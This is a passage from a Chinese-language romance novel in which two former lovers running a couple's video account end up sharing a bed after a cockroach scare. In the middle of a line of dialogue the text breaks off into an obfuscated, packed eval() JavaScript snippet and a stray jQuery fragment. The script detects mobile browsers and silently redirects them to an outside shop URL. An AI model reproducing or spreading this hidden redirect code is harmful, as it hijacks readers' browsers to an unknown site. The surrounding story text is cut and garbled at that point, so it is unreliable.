情侣账号的男主角就站在距离不到三米的位置,现实看身形比视频中瘦,肩背与腰身呈现完美的倒三角。气质如出一辙,明明是浓烈的长相,整个人却温温柔柔的。那张帅得客观的脸上出现困惑的神情,低头凑到林芜耳边很小声地问:“什么男妈妈?”
林芜将愈来愈近的脑袋推开,“她在夸你。”
两张赏心悦目的脸靠在一起,互动一看就是感情很好的小情侣。露露捂住胸口,她磕的cp现场撒糖!
“我超喜欢你们的视频!”
祁一舟表情舒展,“谢谢!如果后续出周边我们送你一份。”
林芜嘴唇微张,“我们还有这种企划?”
祁一舟将她推到露露的伞下,“去上班吧。”说完挥手离开,身影很快消失在建筑拐角。
露露突然猛拍林芜的胳膊。
连起来了,都连起来了!那次聚餐回去时晓风说看到林芜和一个年轻男人走在一起,之后又是带饭又是调整休息时间。她怎么没看出来呢?视频中的女生体态和林芜那么像,化妆手法也专业。她真挚地请求道:“你们谈久一点!不要分手!”
一年应该也算久?林芜将人朝室内推,“好,我们先上班。”
“还上什么班?你们粉丝已经这么多了,下半年你的任务就是拍视频,然后猛猛接商单。”
林芜知道自媒体赚钱,却总觉得这种事情离她很远。
“真的能接到吗?”
“当然!你们粉丝数都快两万了。”
这个账号充满不确定性。下期题材可能在deadline前几天才想好,拍摄时经常偏离台本,拍一堆完全用不上的素材。两人都剪不出视频,最后只能打包给小周。
林芜也不觉得他们的内容有多特别,糖水感的氛围短视频,平平无奇的日常vlog。
有现在的流量也不知道是他们俩谁的命好。
下班时地面完全干了,仿佛没有下过雨。小区的绣球花耷拉着,花坛边趴着一只斜刘海奶牛猫和一只黑猫。
他们原本很亲密地贴在一起,林芜刚走过去黑猫就嗖得躲到灌木丛里。奶牛猫不怕人,只懒洋洋地抬头看她一眼就又趴回交叠的爪爪上。林芜驻足时间太久,久到它终于爬起来,用力伸展身体,尾巴高高翘起,围着她的腿蹭一圈,之后仰起瘦巴巴的脸很娇地喵了一声。
林芜没什么和猫打交道的经验,一时间手足无措。
魏文秀讨厌猫和狗,林芜因此也对这些毛绒绒的生物视而不见。她唯一养过的宠物是金鱼,因为照顾不当很快都死掉了。直到离开家她才将目光重新投向它们。
“对不起,我没有吃的给你。”
一人一猫没有僵持太久。一楼有人开门,林芜听到颗粒物掉落在碗里的声音。
两只小猫蹿过去,结束这场短暂的社交。
今天出外景,林芜到家时将近九点了。她拖着疲惫回家,房子静悄悄的,祁一舟大概不在楼上。唯一迎接她的是趴在床边的蟑螂。
虽说在南方长大,她看到这种生物还是发自内心的感到恐惧,立刻拿之前在卫生间翻到的杀虫剂喷了房间。
洗澡后林芜在客厅等卧室里的味道散掉,祁雪闻的视频电话打过来。她因为耳朵潮不想戴耳机,直接打开外放。
祁雪闻今年暑假还在香港陪男友,无聊得很,隔三差五拾掇林芜陪她出去旅游。
“你不会真的要打一个夏天工吧?如果以后不升学,这就是最后一个暑假了。”
脚踝上昨天被咬的包还没有消下去,甚至变成深红色,痒得厉害。林芜在网上搜索后,对照症状在外卖上下单药膏。她用指甲在那块红包边缘掐十字缓解痒意,“太热了,不想出门。”
“真想回到两年前,那时候小芜还没有染上上班。”祁雪闻将脸上的面膜摘下,“说起来,我哥在上海落网了。”
林芜笑出了声:“怎么说得像他犯事了?”
祁一舟生日那天奚然提起过他和他爸一起吃饭,林芜以为他很快会回深圳。结果时至今日这人还在上海当街遛子。
“在上海谈恋爱,还放到网上秀恩爱。”
说完祁雪闻将账号发过来。林芜点开这个一天要打开十几遍的账号,粉丝数还差五百多人到两万。
“流量不错,这家伙以后不会成网红吧?”说完祁雪闻的脸凑近镜头,像是要探出屏幕。“你怎么一点反应都没有?”
林芜将自己的眼睛移出镜头,“我需要有什么反应?”
祁雪闻欣慰地点头:“恭喜你,总算从失恋里走出来了。”
“我早就走出来了。”
“下次被学弟表白你会试着交往吗?”
“会吧?”林芜一阵心虚,外卖平台弹窗显示已送达,她立刻道:“好了不说了,早点睡吧。”
“这才几点?”
“晚安~爱你!”
林芜结束视频去门口拿药。转身时,一团黑影矗在楼梯口。她捂住胸口,“你在家啊?”
悄无声息的,不知道站了多久,也不知道听到多少。
“抱歉。”祁一舟从暗处走出来,没什么表情的看向包装袋,“生病了?”
“没有,被虫咬了,买的药膏。”
祁一舟鼻头翕动,朝她房间门望去。
林芜拆开包装,“我房间有蟑螂,喷了杀虫剂。”
祁一舟走到角落,拿起那瓶杀虫剂,翻来覆去查看,“这瓶过期了。”
林芜走过去看瓶身,祁一舟将日期指给她看,“喏,三个月前就过期了。”
他将瓶子丢进垃圾桶里:“今晚要不要睡我房间?”
林芜觉得莫名其妙,“我为什么要睡你房间?”
祁一舟倚靠在桌前,单手托住下巴,沉思道:“我觉得不安全。而且过期了也不一定杀干净。”他嘴角翘起,眼底闪过一丝促狭,“蟑螂晚上最活跃了,要是爬上你美丽的碎花床单,触须轻触你的皮肤,你无意识地压住它,蟑螂的碎片随着你的翻身均匀地……”
他的声音故意放慢,用春风和煦的脸描述这个夜晚的可能。林芜一阵恶寒,打断道:“别说了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17753096|206435||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”,她内心动摇,“那你睡哪里?”
“我白天睡得久,晚上可能睡不着。”
林芜原本是疲惫的,可在踏进祁一舟房间后她的大脑清醒得可以再做十组妆造。顶灯被关掉,祁一舟一只脚踏出门前她叫他的名字。
室内只有楼梯上的感应灯亮着,暖黄的光照在祁一舟的脸上,锋利的五官柔和下来,他很耐心地问:“怎么了?”
“可以一起睡。”林芜越说音量越小,“这毕竟是你的床。”
话落,祁一舟折返回来,一下子躺在床上。
林芜局促地朝墙壁那边挪动,“你不是说暂时睡不着?”
祁一舟偏头,眼神无辜地眨了几下:“哦?我以为你说这话是希望我陪你。”
话说出口了,林芜总不能赶他走,“你困了就躺下吧。”
上一次她是怎么睡着的?
一米五的床对他们来说稍显拥挤,祁一舟体型壮硕,很小心地收着胳膊还是将床占了大半。
林芜拿空调声当白噪音,就在她快要清空大脑时,祁一舟很突兀地问道:“学弟很帅吗?”
入睡进度被打断,她重重地叹气:“大概是周正的长相。”
“性格好?”
学弟的形象在林芜脑海里已经很模糊了,只记得不太爱说话,“有点冷,大概是闷骚型。”
“条件不错?”
“当然没你好。”
“那是应该拒绝。”祁一舟侧躺面向她,头枕在小臂上,“还有其他人吗?”
“我为什么要告诉你?”
林芜背过身,缩到床边。
祁一舟无奈地笑道:“怎么突然离那么远?”
林芜将脸埋在枕头里,很闷地回道:“我困了。”
时间不知道过去多久,意识似乎进入现实与梦境交界的地方,林芜被困其中,最终没能真正入睡。身旁的呼吸声变平稳。林芜翻身,祁一舟原本紧绷的身体放松下来。说睡不着的人现在反而先入睡。
这个夏天和两年前的夏天仿佛重叠在一起,也许很多年后回忆也会糅杂到一起,让人无法分清是哪一个夏天
两人恋爱时间短,只有过亲吻和拥抱。很多时候林芜觉得他们很像今天遇到的两只猫,毛绒绒的靠在一起。
林芜坐起来,低头去看祁一舟的脸。此刻是最真实的状态,没有任何花哨的表情。她的视线从眉骨滑过鼻梁,最后在饱满的嘴唇上描摹。
如果他们还在一起就好了。她想。
林芜撩起垂落的发丝,在黑夜里贪婪地将这张令人心动的脸收入眼中。
祁一舟缓缓睁开眼,又很快闭上,翻身将林芜按倒在床上。
突如其来的失重感让她做不出任何反应,林芜被抱得很紧,手掌很无力地推不动胸膛。
冒胡茬的下巴在她肩头蹭了几下,之后亲吻落到脖侧,很轻很郑重,像是对待什么神圣的物品。
林芜叫他的名字,指甲掐在他的腰侧。
祁一舟撑起身子,睡眼惺忪的眼睛恢复一点清明,“不是梦?”